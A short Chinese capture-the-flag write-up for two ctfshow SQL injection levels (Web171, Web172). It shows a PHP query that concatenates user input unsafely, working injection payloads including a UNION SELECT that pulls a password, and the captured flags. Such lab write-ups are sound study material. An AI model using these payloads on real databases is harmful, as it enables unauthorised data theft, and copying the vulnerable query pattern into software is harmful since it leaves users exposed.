2022/4/24
SQL注入
Web171
语法:查询表中的数据
查询所有行
命令: select <字段1,字段2,...> from < 表名 > where < 条件>
例如:查看表 MyClass 中所有数据
mysql> select * from MyClass;查询语句
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
select username,password from user where username !='flag' and id = ‘10000’;(输入一个很大的,表中没有的值或者-1) or id=’26’ limit 1;
Playload:
10000’ or id=’26
试了一下25不是,就试一下26
ctfshow{4d873b5b-6861-4d54-bed8-7e3b857d878a}
Web172
"select username,password from ctfshow_user2 where username !='flag' and id = '注入的地方' limit 1;";
这题是使用联合查询
select username,password from ctfshow_user2 where username !='flag' and id = '9999'union select id,password from ctfshow_user2 where username = 'flag';
虽然前面的语句查不到,但是联合查询是去并集的所以后面的语句查询得到,因为题目不允许username为flag,所以直接查id和password
Playload:
9999'union select id,password from ctfshow_user2 where username = 'flag
ctfshow{710c102e-edec-40df-b78e-2368eb478572}